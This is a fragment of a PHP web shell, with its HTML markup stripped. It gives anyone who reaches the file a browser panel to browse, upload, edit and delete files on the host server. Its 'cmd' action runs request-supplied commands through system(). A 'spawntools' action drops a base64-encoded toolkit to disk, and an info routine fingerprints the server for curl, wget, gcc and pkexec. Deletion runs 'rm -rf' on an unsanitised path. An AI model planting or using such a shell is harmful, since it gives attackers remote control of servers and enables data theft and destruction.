";
if(empty($_GET['path'])) {
header("Location: ".basename($_SERVER['PHP_SELF'])."?path=".getcwd());
exit;
}
?>
&action=createfolder">
&action=createfile">
&action=spawntools">
&action=info">
&action=upload">
&action=cmd">
Path => ";
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '/';
continue;
}
if($pat == '') continue;
echo ''.$pat.'/';
}
echo " {HOME}"
?>
Filename: $file_name
";
echo "";
} elseif ($_GET["action"] == "edit" && $file) {
?>
alert('Edit $file_name success')";
echo "";
} else {
echo "Edit $file_name failed";
}
}
} elseif ($_GET["action"] == "rename" && $file) {
renames($file, $path, $file_name);
} elseif ($_GET["action"] == "rename" && $folder) {
renames($folder, $path, $folder_name);
} elseif ($_GET["action"] == "delete" && $file) {
if (unlink($file)) {
echo "";
echo "";
} else {
echo "Delete $file_name failed";
}
} elseif ($_GET["action"] == "delete" && $folder) {
if (is_dir($folder)) {
if (is_writable($folder)) {
@rmdir($folder);
@shell_exec("rm -rf $folder");
@shell_exec("rmdir /s /q $folder");
echo "";
echo "";
} else {
echo "Delete $folder_name failed";
}
}
} elseif ($_GET["action"] == "spawntools") {
$save = saveme($path."/tools.php", base64_decode($tools));
echo "";
if ($save) {
echo "";
echo "";
} else {
echo "Spawn Toolkit failed";
}
echo "";
} elseif ($_GET["action"] == "createfile") {
?>
alert('".$filename." has successfully created')";
echo "";
} else {
echo "Create file failed";
}
}
} elseif ($_GET["action"] == "createfolder") {
?>
alert('$fname Created')";
echo "";
} else {
echo "Create folder failed";
}
}
} elseif ($_GET["action"] == "upload") {
?>
alert('$file uploaded')";
echo "";
} else {
echo "Upload fail";
}
} else {
echo "No file selected";
}
} elseif ($_GET["action"] == "cmd") {
?>
".system($cmd)."";
}
} elseif ($_GET["action"] == "info") {
echo '';
infomin();
echo '
';
} else {
?>
Items |
Size |
Permission |
Action |
$folders"; ?> |
--- |
".hi_permission($path."/".$folders)."";
?>
|
"; ?>
|
$files"; ?> |
".Size($path."/".$files).""; ?> |
".hi_permission($path."/".$folders)."";
?>
|
"; ?>
|
";
}
}
function saveme($name, $content) {
$open = fopen($name, "w");
fwrite($open, $content);
fclose($open);
return $open;
}
function renames($item, $path, $name) {
?>
alert('$name successfully renamed')";
echo "";
} else {
echo "Rename failed";
}
}
}
function Size($path) {
$bytes = sprintf('%u', filesize($path));
if ($bytes > 0) {
$unit = intval(log($bytes, 1024));
$units = array('B', 'KB', 'MB', 'GB');
if (array_key_exists($unit, $units) === true) {
return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
}
}
return $bytes;
}
function infomin() {
$curl = (function_exists("curl_version")) ? "ON" : "OFF";
$wget = (@shell_exec("wget --help")) ? "ON" : "OFF";
$python = (@shell_exec("python --help")) ? "ON" : "OFF";
$perl = (@shell_exec("perl --help")) ? "ON" : "OFF";
$ruby = (@shell_exec("ruby --help")) ? "ON" : "OFF";
$gcc = (@shell_exec("gcc --help")) ? "ON" : "OFF";
$pkexec = (@shell_exec("pkexec --version")) ? "ON" : "OFF";
$disfuncs = @ini_get("disable_functions");
$showit = (!empty($disfuncs)) ? "$disfuncs" : "NONE";
echo "";
echo "OS: ".php_uname()."
";
echo "SERVER IP: ".$_SERVER["SERVER_ADDR"]."
";
echo "SOFTWARE: ".$_SERVER["SERVER_SOFTWARE"]."
";
echo "Disabled Functions: $showit
";
echo "CURL: $curl, WGET: $wget, PERL: $perl, RUBY: $ruby
PYTHON: $python, GCC: $gcc, PKEXEC: $pkexec";
echo "
";
}
function hi_permission($items) {
$perms = fileperms($items);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>